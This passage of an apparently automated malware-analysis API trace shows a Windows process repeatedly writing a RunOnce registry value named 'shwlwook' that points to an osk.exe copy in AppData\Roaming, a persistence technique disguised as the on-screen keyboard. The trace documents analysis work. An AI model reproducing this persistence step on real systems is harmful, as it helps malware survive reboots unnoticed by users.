lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.668] RegCloseKey (hKey=0x14c) returned 0x0 [0266.669] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.669] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.683] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.683] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.684] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.684] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.685] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.685] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.685] RegCloseKey (hKey=0x14c) returned 0x0 [0266.686] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.686] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.699] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.699] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.699] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.700] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.700] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.700] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.700] RegCloseKey (hKey=0x14c) returned 0x0 [0266.700] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.701] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.714] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.714] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.714] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.715] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.715] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.715] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.715] RegCloseKey (hKey=0x14c) returned 0x0 [0266.715] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.716] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.729] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.729] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.730] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.730] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.730] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.731] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.731] RegCloseKey (hKey=0x14c) returned 0x0 [0266.731] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.731] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.816] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.816] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.816] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.817] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.817] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.817] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.817] RegCloseKey (hKey=0x14c) returned 0x0 [0266.818] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.818] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.823] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.823] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.824] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.824] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.824] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.825] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.825] RegCloseKey (hKey=0x14c) returned 0x0 [0266.825] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.825] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.839] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.839] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.839] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.840] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.840] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.840] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.840] RegCloseKey (hKey=0x14c) returned 0x0 [0266.840] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.841] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.855] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.855] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.855] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.856] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.856] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.856] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.856] RegCloseKey (hKey=0x14c) returned 0x0 [0266.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.857] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.870] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.870] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.870] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.871] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.871] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.871] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.871] RegCloseKey (hKey=0x14c) returned 0x0 [0266.871] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.872] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.886] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.886] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.886] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.887] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.887] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.887] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.887] RegCloseKey (hKey=0x14c) returned 0x0 [0266.887] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.888] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.901] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.901] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.902] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.902] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.902] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.903] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.903] RegCloseKey (hKey=0x14c) returned 0x0 [0266.903] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.903] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.919] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.919] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.920] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.920] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.920] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.920] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.921] RegCloseKey (hKey=0x14c) returned 0x0 [0266.921] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.921] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.932] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.933] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.933] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.933] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.934] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.934] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.934] RegCloseKey (hKey=0x14c) returned 0x0 [0266.934] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.935] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.948] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.948] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.949] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.949] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.949] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.949] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.950] RegCloseKey (hKey=0x14c) returned 0x0 [0266.950] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.950] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.964] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.965] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.965] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.966] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.966] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.966] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.966] RegCloseKey (hKey=0x14c) returned 0x0 [0266.966] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.967] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.995] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.995] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.996] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.996] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.996] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.997] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.997] RegCloseKey (hKey=0x14c) returned 0x0 [0266.997] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.997] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.010] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.011] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.011] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.011] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.012] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.012] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.012] RegCloseKey (hKey=0x14c) returned 0x0 [0267.012] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.012] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.027] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.027] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.027] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.027] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.028] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.028] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.028] RegCloseKey (hKey=0x14c) returned 0x0 [0267.028] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.028] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.042] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.042] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.042] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.043] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.043] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.043] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.043] RegCloseKey (hKey=0x14c) returned 0x0 [0267.043] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.044] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.085] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.085] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.085] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.086] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.086] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.086] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.086] RegCloseKey (hKey=0x14c) returned 0x0 [0267.087] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.087] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.089] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.089] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.089] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.090] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.090] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.090] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.090] RegCloseKey (hKey=0x14c) returned 0x0 [0267.090] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.091] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.104] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.104] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.105] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.105] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.105] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, 